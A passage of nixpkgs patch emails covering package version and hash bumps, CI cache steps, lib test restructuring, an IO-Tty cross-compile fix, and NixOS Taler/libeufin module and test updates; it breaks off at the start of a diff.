Subject: [PATCH 0438/4511] winbox4: 4.0beta20 -> 4.0beta21

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 950655e5539e59178024c8ad02b6d8dcb6209a51)
---
 pkgs/by-name/wi/winbox4/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/wi/winbox4/package.nix b/pkgs/by-name/wi/winbox4/package.nix
index e8208d4b3d8d..f29a92714b16 100644
--- a/pkgs/by-name/wi/winbox4/package.nix
+++ b/pkgs/by-name/wi/winbox4/package.nix
@@ -5,7 +5,7 @@
 }:
 let
   pname = "winbox";
-  version = "4.0beta20";
+  version = "4.0beta21";
 
   metaCommon = {
     description = "Graphical configuration utility for RouterOS-based devices";
@@ -23,13 +23,13 @@ let
   x86_64-zip = callPackage ./build-from-zip.nix {
     inherit pname version metaCommon;
 
-    hash = "sha256-mU+z7yRYKXnGAXHB5LS5SVUgIzRlR9nV2FzXispntF0=";
+    hash = "sha256-Uoawz+CW1JLVOEoxSF49WpF31VuUDWK4q9tl1qAwS/c=";
   };
 
   x86_64-dmg = callPackage ./build-from-dmg.nix {
     inherit pname version metaCommon;
 
-    hash = "sha256-tLsreK6YsqsbMaY4dil34eiHxAG7GrZYyll6BX9dsx8=";
+    hash = "sha256-PCdN5z77RU5WgYzk2h/ou2OeswZQl32FfxozEZ8ZlTo=";
   };
 in
 (if stdenvNoCC.hostPlatform.isDarwin then x86_64-dmg else x86_64-zip).overrideAttrs (oldAttrs: {

From e3d34c66f8f6cd1c05987daeca7394bea8db8d62 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Wed, 28 May 2025 18:41:48 +0100
Subject: [PATCH 0439/4511] paretosecurity: 0.2.23 -> 0.2.27

(cherry picked from commit 22dbe6bd1c0ea8fcef9d12dc2fea354492721002)
---
 nixos/tests/paretosecurity.nix             | 4 +---
 pkgs/by-name/pa/paretosecurity/package.nix | 6 +++---
 2 files changed, 4 insertions(+), 6 deletions(-)

diff --git a/nixos/tests/paretosecurity.nix b/nixos/tests/paretosecurity.nix
index 5f9562013011..4bafcf1c1f8c 100644
--- a/nixos/tests/paretosecurity.nix
+++ b/nixos/tests/paretosecurity.nix
@@ -126,8 +126,6 @@
     xfce.wait_for_text("Pareto Security")
 
     # Test 6: paretosecurity:// URL handler is registered
-    xfce.execute("su - alice -c 'xdg-open paretosecurity://foo >/dev/null &'")
-    xfce.wait_for_text("Failed to add device")
-
+    xfce.succeed("su - alice -c 'xdg-open paretosecurity://foo'")
   '';
 }
diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 0fa9e08fa4ce..05211c8098fe 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.23";
+  version = "0.2.27";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-jqjfaTvbwp/3P3E7eYv8CFaaYNjPfnbrFIzD6JcccV4=";
+    hash = "sha256-dYQNSzovWCX7sj7VjgBc5GHz+5dKLTiB5pvbVSLMyqY=";
   };
 
-  vendorHash = "sha256-v9M1CX6mIK8MdaI5TVa0Uc+HnIy+oCg+vYlH3eU809Q=";
+  vendorHash = "sha256-PhuHRs0PjIJqY3ZBC4ga7zFxgf57xfPjJ3VIDaA61F0";
   proxyVendor = true;
 
   # Skip building the Windows installer

From d187194842a584949cc51f0d083915d2f80acfb4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 23:47:52 +0000
Subject: [PATCH 0440/4511] mmctl: 10.5.6 -> 10.5.7

(cherry picked from commit c6fd64bf7375aec046abf3c3949f6d97e193e8e5)
---
 pkgs/by-name/ma/mattermost/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost/package.nix b/pkgs/by-name/ma/mattermost/package.nix
index ce550636506c..610b71938e97 100644
--- a/pkgs/by-name/ma/mattermost/package.nix
+++ b/pkgs/by-name/ma/mattermost/package.nix
@@ -19,8 +19,8 @@
     #
     # Ensure you also check ../mattermostLatest/package.nix.
     regex = "^v(10\\.5\\.[0-9]+)$";
-    version = "10.5.6";
-    srcHash = "sha256-etHEJ3EBTolXZr/2Kd39Jdtf1qBMuVO5zRkuM6k4F3w=";
+    version = "10.5.7";
+    srcHash = "sha256-HPQmN6GXDTEmloIcU0k+sYx/Qeh1j6T2yCT/W1/aWz4=";
     vendorHash = "sha256-9Jl+lxvSoxUReziTqkDRyeNrijGWcBDbqoywJRIeD2k=";
     npmDepsHash = "sha256-tIeuDUZbqgqooDm5TRfViiTT5OIyN0BPwvJdI+wf7p0=";
     lockfileOverlay = ''

From 6a9e0894eb4448ada4ca25b9e3ab2feb5027e12a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 18:23:26 +0200
Subject: [PATCH 0441/4511] workflows/{check-shell,lib-tests}: use nixpks CI
 cachix cache

Any change to shell.nix or ci/ currently needs to rebuild treefmt on 4
systems from scratch. We can avoid that by using the existing cachix
cache.

Adding the cache to lib-tests won't do much on it's own, yet, but it
will with the next commit.

(cherry picked from commit f87dac4be32235f7a7409eaf3faaa10213264e34)
---
 .github/workflows/check-shell.yml | 6 ++++++
 .github/workflows/lib-tests.yml   | 6 ++++++
 2 files changed, 12 insertions(+)

diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
index b8cbe062b6a9..fc90a449fb34 100644
--- a/.github/workflows/check-shell.yml
+++ b/.github/workflows/check-shell.yml
@@ -44,5 +44,11 @@ jobs:
 
       - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
 
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
+          name: nixpkgs-ci
+          authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
+
       - name: Build shell
         run: nix-build untrusted/ci -A shell
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
index d176a76411f8..f11dca13581d 100644
--- a/.github/workflows/lib-tests.yml
+++ b/.github/workflows/lib-tests.yml
@@ -32,6 +32,12 @@ jobs:
         with:
           extra_nix_config: sandbox = true
 
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
+          name: nixpkgs-ci
+          authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
+
       - name: Building Nixpkgs lib-tests
         run: |
           nix-build untrusted/ci -A lib-tests

From af25d1ce8cf120179348c1fd1006bc7a3cf52d3c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 18:30:34 +0200
Subject: [PATCH 0442/4511] lib/tests: avoid full rebuild when only maintainers
 change

The vast majority of CI jobs to build the lib tests are caused by
changes in the maintainer list. In this case, we currently run the full
test-suite which takes 3-4 minutes. By moving the maintainers and teams
tests out of the test-with-nix file, we save almost all of that.
Building only those two tests on a change is almost instant. This only
works, because we previously enabled cachix for the workflow.

Note, that these tests are not actually run with both nix versions, even
though they were listed in the "test with specific nix version" file.
That's because we only differ in the nix version run *inside* the
sandbox, but not doing the outer build.

Since this file seems to be re-used by NixOS/nix' CI, this is
technically a small loss in coverage for that repo, but nixpkgs CI
considerations outweigh that. But because of this, I left the other
non-nix-version-specific tests in that file.

(cherry picked from commit a7f4e0f9ae31e5ec90dd6ca7d5465d4ed97ee099)
---
 lib/tests/maintainers.nix   |  2 +-
 lib/tests/release.nix       | 11 ++++++++++-
 lib/tests/test-with-nix.nix |  8 --------
 3 files changed, 11 insertions(+), 10 deletions(-)

diff --git a/lib/tests/maintainers.nix b/lib/tests/maintainers.nix
index d04bb07ea2c8..289a46e7409d 100644
--- a/lib/tests/maintainers.nix
+++ b/lib/tests/maintainers.nix
@@ -54,7 +54,7 @@ let
 
   missingGithubIds = lib.concatLists (lib.mapAttrsToList checkMaintainer lib.maintainers);
 
-  success = pkgs.runCommand "checked-maintainers-success" { } ">$out";
+  success = pkgs.runCommand "checked-maintainers-success" { } "mkdir $out";
 
   failure =
     pkgs.runCommand "checked-maintainers-failure"
diff --git a/lib/tests/release.nix b/lib/tests/release.nix
index 7ab6c24e38e6..51260ea0300b 100644
--- a/lib/tests/release.nix
+++ b/lib/tests/release.nix
@@ -28,5 +28,14 @@ let
 in
 pkgsBB.symlinkJoin {
   name = "nixpkgs-lib-tests";
-  paths = map testWithNix nixVersions;
+  paths = map testWithNix nixVersions ++ [
+    (import ./maintainers.nix {
+      inherit pkgs;
+      lib = import ../.;
+    })
+    (import ./teams.nix {
+      inherit pkgs;
+      lib = import ../.;
+    })
+  ];
 }
diff --git a/lib/tests/test-with-nix.nix b/lib/tests/test-with-nix.nix
index 0be65a743f00..4f9aa53f83dd 100644
--- a/lib/tests/test-with-nix.nix
+++ b/lib/tests/test-with-nix.nix
@@ -19,14 +19,6 @@ pkgs.runCommand "nixpkgs-lib-tests-nix-${nix.version}"
     buildInputs = [
       (import ./check-eval.nix)
       (import ./fetchers.nix)
-      (import ./maintainers.nix {
-        inherit pkgs;
-        lib = import ../.;
-      })
-      (import ./teams.nix {
-        inherit pkgs;
-        lib = import ../.;
-      })
       (import ../path/tests {
         inherit pkgs;
       })

From e6dc0f70fd965388be682d5a2a28388ee0313cec Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Mon, 26 May 2025 20:37:42 +0200
Subject: [PATCH 0443/4511] perlPackages.IOTty: Put version variable into URL

(cherry picked from commit bd69f7fe9807754c696ade4a0b66bd42cec0eef5)
---
 pkgs/top-level/perl-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index 4d4c2964b37b..b32ef7a0df69 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -17752,11 +17752,11 @@ with self;
     };
   };
 
-  IOTty = buildPerlPackage {
+  IOTty = buildPerlPackage rec {
     pname = "IO-Tty";
     version = "1.17";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/T/TO/TODDR/IO-Tty-1.17.tar.gz";
+      url = "mirror://cpan/authors/id/T/TO/TODDR/IO-Tty-${version}.tar.gz";
       hash = "sha256-pfGoMCC8W13WwbVw9Ix1RuCo9/rBCgaHQLA5Ja2eFOg=";
     };
     patches = [ ../development/perl-modules/IO-Tty-fix-makefile.patch ];

From b7f9f854d6ca980be5fc2821966b8418c972b593 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Wed, 28 May 2025 07:37:59 +0200
Subject: [PATCH 0444/4511] perlPackages.IOTty: Fix RiscV cross-compilation

(cherry picked from commit a6c6250c61b984bcdade56ed2a63c60d8ca232e5)
---
 pkgs/top-level/perl-packages.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index b32ef7a0df69..0d07188a8901 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -17760,6 +17760,10 @@ with self;
       hash = "sha256-pfGoMCC8W13WwbVw9Ix1RuCo9/rBCgaHQLA5Ja2eFOg=";
     };
     patches = [ ../development/perl-modules/IO-Tty-fix-makefile.patch ];
+    # Fix dynamic loading not available when cross compiling
+    postPatch = lib.optionalString (stdenv.hostPlatform != stdenv.buildPlatform) ''
+      sed -i '/use IO::File/d' Makefile.PL
+    '';
     doCheck = !stdenv.hostPlatform.isDarwin; # openpty fails in the sandbox
     meta = {
       description = "Low-level allocate a pseudo-Tty, import constants";

From a8167f3cc2f991dd4d0055746df53dae5fd0c953 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20Zimmermann?= <theo.zimmermann@telecom-paris.fr>
Date: Wed, 28 May 2025 11:10:16 +0200
Subject: [PATCH 0445/4511] coqPackages.vscoq-language-server: 2.2.5 -> 2.2.6

To be compatible with the update of the extension in #410879.

(cherry picked from commit cdd4fbac3d7c2d31f083389c56884def06b6ede6)
---
 .../coq-modules/vscoq-language-server/default.nix           | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/coq-modules/vscoq-language-server/default.nix b/pkgs/development/coq-modules/vscoq-language-server/default.nix
index d4ee9d6042f8..f4fd8e2ecb29 100644
--- a/pkgs/development/coq-modules/vscoq-language-server/default.nix
+++ b/pkgs/development/coq-modules/vscoq-language-server/default.nix
@@ -14,8 +14,8 @@ let
     with lib.versions;
     lib.switch coq.coq-version [
       {
-        case = isEq "9.0";
-        out = "2.2.5";
+        case = range "8.18" "9.0";
+        out = "2.2.6";
       }
       {
         case = range "8.18" "8.20";
@@ -48,6 +48,8 @@ let
     release."2.2.1".sha256 = "sha256-miIVAv/8jlP1pXnoK1MWz4O6nlmb309a8UjcCivbiB4=";
     release."2.2.5".rev = "v2.2.5";
     release."2.2.5".sha256 = "sha256-XyIjwem/yS7UIpQATNixgKkrMOHHs74nkAOvpU5WG1k=";
+    release."2.2.6".rev = "v2.2.6";
+    release."2.2.6".sha256 = "sha256-J8nRTAwN6GBEYgqlXa2kkkrHPatXsSObQg9QUQoZhgE=";
     inherit location;
   });
   fetched = fetch (if version != null then version else defaultVersion);

From a1773745e5dedda61184665c621d926c07401ce4 Mon Sep 17 00:00:00 2001
From: Ryan Horiguchi <ryan.horiguchi@gmail.com>
Date: Sun, 25 May 2025 16:33:01 +0200
Subject: [PATCH 0446/4511] prowlarr: 1.35.1.5034 -> 1.36.3.5071

(cherry picked from commit 76e2bfa1dc649ee41637a17cafe1bbbf5f0fb9e6)
---
 pkgs/by-name/pr/prowlarr/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/pr/prowlarr/package.nix b/pkgs/by-name/pr/prowlarr/package.nix
index 85180da593bf..2368d0d7eea7 100644
--- a/pkgs/by-name/pr/prowlarr/package.nix
+++ b/pkgs/by-name/pr/prowlarr/package.nix
@@ -37,16 +37,16 @@ let
 
   hash =
     {
-      aarch64-darwin = "sha256-zHaYgR9UXKnyikt5z3UUmh6oTNoNv5mqtnAId9kCzgE=";
-      aarch64-linux = "sha256-xChYbzs4zTWe71xwn3TfUZHGTOHHjzDwbkzPgQEfQZk=";
-      x86_64-darwin = "sha256-mual72UuFh9h7Hc/hHqSUeFInwm09f+UptX8jqknXlg=";
-      x86_64-linux = "sha256-UCiHeg46ncRQA6rDW4uxoFRqC7cuwMdr33OrN7yj51o=";
+      aarch64-darwin = "sha256-IkFkQoEPVaV+eVp2DkZECXTkzJyyNYTUBsCBdXCBZC8=";
+      aarch64-linux = "sha256-uwg5Ec9MC6jLwNdauF1tj2gSkhWdyhvWnUTLt8P1OZw=";
+      x86_64-darwin = "sha256-mdDZvKyhKXnHEKvZRH8Di6dZP80AEktnkMOnIZW+Gik=";
+      x86_64-linux = "sha256-N0KDb6MsGAJKSh5GSm7aiamjflHRXb06fL1KM2T1+bg=";
     }
     .${stdenv.hostPlatform.system} or unsupported;
 in
 stdenv.mkDerivation rec {
   inherit pname;
-  version = "1.35.1.5034";
+  version = "1.36.3.5071";
 
   src = fetchurl {
     url = "https://github.com/Prowlarr/Prowlarr/releases/download/v${version}/Prowlarr.master.${version}.${os}-core-${arch}.tar.gz";

From 5735c3c3b447d7112c9a1f8fbd38e5d849ad4320 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 10:49:45 +0200
Subject: [PATCH 0447/4511] nixos/taler: explicitly specify configFile

else the executables fail to work.

(cherry picked from commit 5db5bd097c8602f5362fea980ff1ce63cbd6391e)
---
 nixos/modules/services/finance/taler/exchange.nix | 6 ++++--
 nixos/modules/services/finance/taler/merchant.nix | 6 ++++--
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/finance/taler/exchange.nix b/nixos/modules/services/finance/taler/exchange.nix
index 16428a43d78d..4a940cddb104 100644
--- a/nixos/modules/services/finance/taler/exchange.nix
+++ b/nixos/modules/services/finance/taler/exchange.nix
@@ -25,6 +25,8 @@ let
     "secmod-eddsa"
     "secmod-rsa"
   ];
+
+  configFile = config.environment.etc."taler/taler.conf".source;
 in
 
 {
@@ -140,14 +142,14 @@ in
           lib.pipe servicesDB [
             (map (name: ''
               GRANT SELECT,INSERT,UPDATE${deletePerm name} ON ALL TABLES IN SCHEMA exchange TO "taler-exchange-${name}";
-              GRANT USAGE ON SCHEMA exchange TO "taler-exchange-${name}";
+              GRANT USAGE ON ALL SEQUENCES IN SCHEMA exchange TO "taler-exchange-${name}";
             ''))
             lib.concatStrings
           ]
         );
       in
       ''
-        ${lib.getExe' cfg.package "taler-exchange-dbinit"}
+        ${lib.getExe' cfg.package "taler-exchange-dbinit"} -c ${configFile}
         psql -U taler-exchange-httpd -f ${dbScript}
       '';
   };
diff --git a/nixos/modules/services/finance/taler/merchant.nix b/nixos/modules/services/finance/taler/merchant.nix
index e5a2f2ce5d10..1426882ac050 100644
--- a/nixos/modules/services/finance/taler/merchant.nix
+++ b/nixos/modules/services/finance/taler/merchant.nix
@@ -19,6 +19,8 @@ let
     "depositcheck"
     "exchange"
   ];
+
+  configFile = config.environment.etc."taler/taler.conf".source;
 in
 {
   imports = [
@@ -95,13 +97,13 @@ in
           lib.concatStrings (
             map (name: ''
               GRANT SELECT,INSERT,UPDATE,DELETE ON ALL TABLES IN SCHEMA merchant TO "taler-merchant-${name}";
-              GRANT USAGE ON SCHEMA merchant TO "taler-merchant-${name}";
+              GRANT USAGE ON ALL SEQUENCES IN SCHEMA merchant TO "taler-merchant-${name}";
             '') servicesDB
           )
         );
       in
       ''
-        ${lib.getExe' cfg.package "taler-merchant-dbinit"}
+        ${lib.getExe' cfg.package "taler-merchant-dbinit"} -c ${configFile}
         psql -U taler-${talerComponent}-httpd -f ${dbScript}
       '';
   };

From 9afa3afbb4f999701dbdd346e5f97bfd6ca36d6e Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:03:28 +0200
Subject: [PATCH 0448/4511] nixos/taler: use the same dynamicUser for services

which makes managing the database much simpler.

(cherry picked from commit 85b6430face1be77a737813a82478d6485bb596c)
---
 .../modules/services/finance/taler/common.nix |  5 +++--
 .../services/finance/taler/exchange.nix       | 22 +++----------------
 .../services/finance/taler/merchant.nix       | 19 +++-------------
 3 files changed, 9 insertions(+), 37 deletions(-)

diff --git a/nixos/modules/services/finance/taler/common.nix b/nixos/modules/services/finance/taler/common.nix
index c6ade43084fd..891562c90ff8 100644
--- a/nixos/modules/services/finance/taler/common.nix
+++ b/nixos/modules/services/finance/taler/common.nix
@@ -51,7 +51,7 @@ in
       (lib.genAttrs (map (n: "taler-${talerComponent}-${n}") services) (name: {
         serviceConfig = {
           DynamicUser = true;
-          User = name;
+          User = dbName;
           Group = groupName;
           ExecStart = toString [
             (lib.getExe' cfg.package name)
@@ -85,6 +85,7 @@ in
             Type = "oneshot";
             DynamicUser = true;
             User = dbName;
+            Group = groupName;
             Restart = "on-failure";
             RestartSec = "5s";
           };
@@ -116,7 +117,7 @@ in
     services.postgresql = {
       enable = true;
       ensureDatabases = [ dbName ];
-      ensureUsers = map (service: { name = "taler-${talerComponent}-${service}"; }) servicesDB ++ [
+      ensureUsers = [
         {
           name = dbName;
           ensureDBOwnership = true;
diff --git a/nixos/modules/services/finance/taler/exchange.nix b/nixos/modules/services/finance/taler/exchange.nix
index 4a940cddb104..2b5861608a09 100644
--- a/nixos/modules/services/finance/taler/exchange.nix
+++ b/nixos/modules/services/finance/taler/exchange.nix
@@ -133,24 +133,8 @@ in
       after = [ "taler-exchange-httpd.service" ];
     };
 
-    # Taken from https://docs.taler.net/taler-exchange-manual.html#exchange-database-setup
-    # TODO: Why does aggregator need DELETE?
-    systemd.services."taler-${talerComponent}-dbinit".script =
-      let
-        deletePerm = name: lib.optionalString (name == "aggregator") ",DELETE";
-        dbScript = pkgs.writers.writeText "taler-exchange-db-permissions.sql" (
-          lib.pipe servicesDB [
-            (map (name: ''
-              GRANT SELECT,INSERT,UPDATE${deletePerm name} ON ALL TABLES IN SCHEMA exchange TO "taler-exchange-${name}";
-              GRANT USAGE ON ALL SEQUENCES IN SCHEMA exchange TO "taler-exchange-${name}";
-            ''))
-            lib.concatStrings
-          ]
-        );
-      in
-      ''
-        ${lib.getExe' cfg.package "taler-exchange-dbinit"} -c ${configFile}
-        psql -U taler-exchange-httpd -f ${dbScript}
-      '';
+    systemd.services."taler-${talerComponent}-dbinit".script = ''
+      ${lib.getExe' cfg.package "taler-exchange-dbinit"} -c ${configFile}
+    '';
   };
 }
diff --git a/nixos/modules/services/finance/taler/merchant.nix b/nixos/modules/services/finance/taler/merchant.nix
index 1426882ac050..a541ba2d5b25 100644
--- a/nixos/modules/services/finance/taler/merchant.nix
+++ b/nixos/modules/services/finance/taler/merchant.nix
@@ -90,21 +90,8 @@ in
       path = [ cfg.package ];
     };
 
-    systemd.services."taler-${talerComponent}-dbinit".script =
-      let
-        # NOTE: not documented, but is necessary
-        dbScript = pkgs.writers.writeText "taler-merchant-db-permissions.sql" (
-          lib.concatStrings (
-            map (name: ''
-              GRANT SELECT,INSERT,UPDATE,DELETE ON ALL TABLES IN SCHEMA merchant TO "taler-merchant-${name}";
-              GRANT USAGE ON ALL SEQUENCES IN SCHEMA merchant TO "taler-merchant-${name}";
-            '') servicesDB
-          )
-        );
-      in
-      ''
-        ${lib.getExe' cfg.package "taler-merchant-dbinit"} -c ${configFile}
-        psql -U taler-${talerComponent}-httpd -f ${dbScript}
-      '';
+    systemd.services."taler-${talerComponent}-dbinit".script = ''
+      ${lib.getExe' cfg.package "taler-merchant-dbinit"} -c ${configFile}
+    '';
   };
 }

From 3a842aa8284e3b2eafd13ebf6ade2f8c2a163493 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:33:54 +0200
Subject: [PATCH 0449/4511] nixos/taler: update exchange settings

adding new and removing deprecated ones.

(cherry picked from commit 58fca012553b6dba1c32c1325c973ea43c31fe03)
---
 .../modules/services/finance/taler/exchange.nix  | 16 ++++++++++++----
 1 file changed, 12 insertions(+), 4 deletions(-)

diff --git a/nixos/modules/services/finance/taler/exchange.nix b/nixos/modules/services/finance/taler/exchange.nix
index 2b5861608a09..21e10d0f2002 100644
--- a/nixos/modules/services/finance/taler/exchange.nix
+++ b/nixos/modules/services/finance/taler/exchange.nix
@@ -46,11 +46,19 @@ in
         options = {
           # TODO: do we want this to be a sub-attribute or only define the exchange set of options here
           exchange = {
-            AML_THRESHOLD = lib.mkOption {
+            CURRENCY = lib.mkOption {
+              type = lib.types.nonEmptyStr;
+              description = ''
+                The currency which the exchange will operate with. This cannot be changed later.
+              '';
+            };
+            CURRENCY_ROUND_UNIT = lib.mkOption {
               type = lib.types.str;
-              default = "${cfgTaler.settings.taler.CURRENCY}:1000000";
-              defaultText = "1000000 in {option}`CURRENCY`";
-              description = "Monthly transaction volume until an account is considered suspicious and flagged for AML review.";
+              default = "${cfg.settings.exchange.CURRENCY}:0.01";
+              defaultText = "0.01 in {option}`CURRENCY`";
+              description = ''
+                Smallest amount in this currency that can be transferred using the underlying RTGS. For example: "EUR:0.01" or "JPY:1"
+              '';
             };
             DB = lib.mkOption {
               type = lib.types.enum [ "postgres" ];

From 1088ff7609b63f06760585ca1f424af90b505bc0 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:44:01 +0200
Subject: [PATCH 0450/4511] nixos/taler: add exchangekeyupdate service

whose role is to sync Taler exchanges' information with the merchant.

(cherry picked from commit 276fca32650d0c7cfeb13a7429af05d9f3e9c6bf)
---
 nixos/modules/services/finance/taler/merchant.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/finance/taler/merchant.nix b/nixos/modules/services/finance/taler/merchant.nix
index a541ba2d5b25..72b4a2a0b3c0 100644
--- a/nixos/modules/services/finance/taler/merchant.nix
+++ b/nixos/modules/services/finance/taler/merchant.nix
@@ -17,7 +17,7 @@ let
     "webhook"
     "wirewatch"
     "depositcheck"
-    "exchange"
+    "exchangekeyupdate"
   ];
 
   configFile = config.environment.etc."taler/taler.conf".source;

From 19ed46dc3c9f7af43b6b3e8097ac4796c50239ad Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:10:14 +0200
Subject: [PATCH 0451/4511] nixos/libeufin: update BASE_URL

which is now required to have a valid protocol.

(cherry picked from commit e04f8bb993051a831a77ddbff1326cf26e610801)
---
 nixos/modules/services/finance/libeufin/common.nix | 3 ++-
 nixos/tests/taler/common/nodes.nix                 | 2 +-
 nixos/tests/taler/common/scripts.nix               | 2 +-
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/finance/libeufin/common.nix b/nixos/modules/services/finance/libeufin/common.nix
index d5e72b8ad0c5..4e0a6bffe02f 100644
--- a/nixos/modules/services/finance/libeufin/common.nix
+++ b/nixos/modules/services/finance/libeufin/common.nix
@@ -35,6 +35,7 @@ libeufinComponent:
           cfg.settings."libeufin-${libeufinComponent}db-postgres".CONFIG;
 
       bankPort = cfg.settings."${if isNexus then "nexus-httpd" else "libeufin-bank"}".PORT;
+      bankHost = lib.elemAt (lib.splitString "/" cfg.settings.libeufin-bank.BASE_URL) 2;
     in
     lib.mkIf cfg.enable {
       services.libeufin.settings = cfg.settings;
@@ -82,7 +83,7 @@ libeufinComponent:
                 args = lib.cli.toGNUCommandLineShell { } {
                   c = configFile;
                   inherit (account) username password name;
-                  payto_uri = "payto://x-taler-bank/bank:${toString bankPort}/${account.username}?receiver-name=${account.name}";
+                  payto_uri = "payto://x-taler-bank/${bankHost}/${account.username}?receiver-name=${account.name}";
                   exchange = lib.toLower account.username == "exchange";
                 };
               in
diff --git a/nixos/tests/taler/common/nodes.nix b/nixos/tests/taler/common/nodes.nix
index 3e8b81ed5179..fcfcb6d6648f 100644
--- a/nixos/tests/taler/common/nodes.nix
+++ b/nixos/tests/taler/common/nodes.nix
@@ -103,7 +103,7 @@ rec {
                 # WIRE_TYPE = "iban";
                 X_TALER_BANK_PAYTO_HOSTNAME = "bank:8082";
                 # IBAN_PAYTO_BIC = "SANDBOXX";
-                BASE_URL = "bank:8082";
+                BASE_URL = "http://bank:8082/";
 
                 # Allow creating new accounts
                 ALLOW_REGISTRATION = "yes";
diff --git a/nixos/tests/taler/common/scripts.nix b/nixos/tests/taler/common/scripts.nix
index 3860ae229070..98487c76ccf6 100644
--- a/nixos/tests/taler/common/scripts.nix
+++ b/nixos/tests/taler/common/scripts.nix
@@ -7,7 +7,7 @@
 
 let
   cfgNodes = pkgs.callPackage ./nodes.nix { inherit lib; };
-  bankConfig = nodes.bank.config.environment.etc."libeufin/libeufin.conf".source;
+  bankConfig = nodes.bank.environment.etc."libeufin/libeufin.conf".source;
 
   inherit (cfgNodes) CURRENCY FIAT_CURRENCY;
 in

From 27fdb64e86de620f37f75ee60de5f60a1af293d4 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:37:25 +0200
Subject: [PATCH 0452/4511] tests/taler: authenticate users with tokens

(cherry picked from commit 1741d8abaa3ced6eb823999d5af3cf734fb91d6e)
---
 nixos/tests/taler/common/scripts.nix | 18 ++++++++++++++++--
 nixos/tests/taler/tests/basic.nix    | 20 +++++++++++++++-----
 2 files changed, 31 insertions(+), 7 deletions(-)

diff --git a/nixos/tests/taler/common/scripts.nix b/nixos/tests/taler/common/scripts.nix
index 98487c76ccf6..c074e9b03c6c 100644
--- a/nixos/tests/taler/common/scripts.nix
+++ b/nixos/tests/taler/common/scripts.nix
@@ -68,6 +68,20 @@ in
               + command
           )
 
+      # https://docs.taler.net/core/api-corebank.html#authentication
+      def create_token(machine, username, password):
+          """Create a read-write bank access token for a user"""
+          response = succeed(machine, [
+              "curl -X POST",
+              f"-u {username}:{password}",
+              "-H 'Content-Type: application/json'",
+              """
+              --data '{ "scope": "readwrite" }'
+              """,
+              f"-sSfL 'http://bank:8082/accounts/{username}/token'"
+          ])
+          return json.loads(response)["access_token"]
+
 
       def verify_balance(balanceWanted: str):
           """Compare Taler CLI wallet balance with expected amount"""
@@ -84,14 +98,14 @@ in
               client.succeed(f"echo Withdraw successfully made. New balance: {balanceWanted}")
 
 
-      def verify_conversion(regionalWanted: str):
+      def verify_conversion(regionalWanted: str, accessToken: str):
           """Compare converted Libeufin Nexus funds with expected regional currency"""
           # Get transaction details
           response = json.loads(
               succeed(bank, [
                   "curl -sSfL",
+                  f"-H 'Authorization: Bearer {accessToken}'",
                   # TODO: get exchange from config?
-                  "-u exchange:exchange",
                   "http://bank:8082/accounts/exchange/transactions"
               ])
           )
diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index 3eeb50b04fa9..83c9e90cffe5 100644
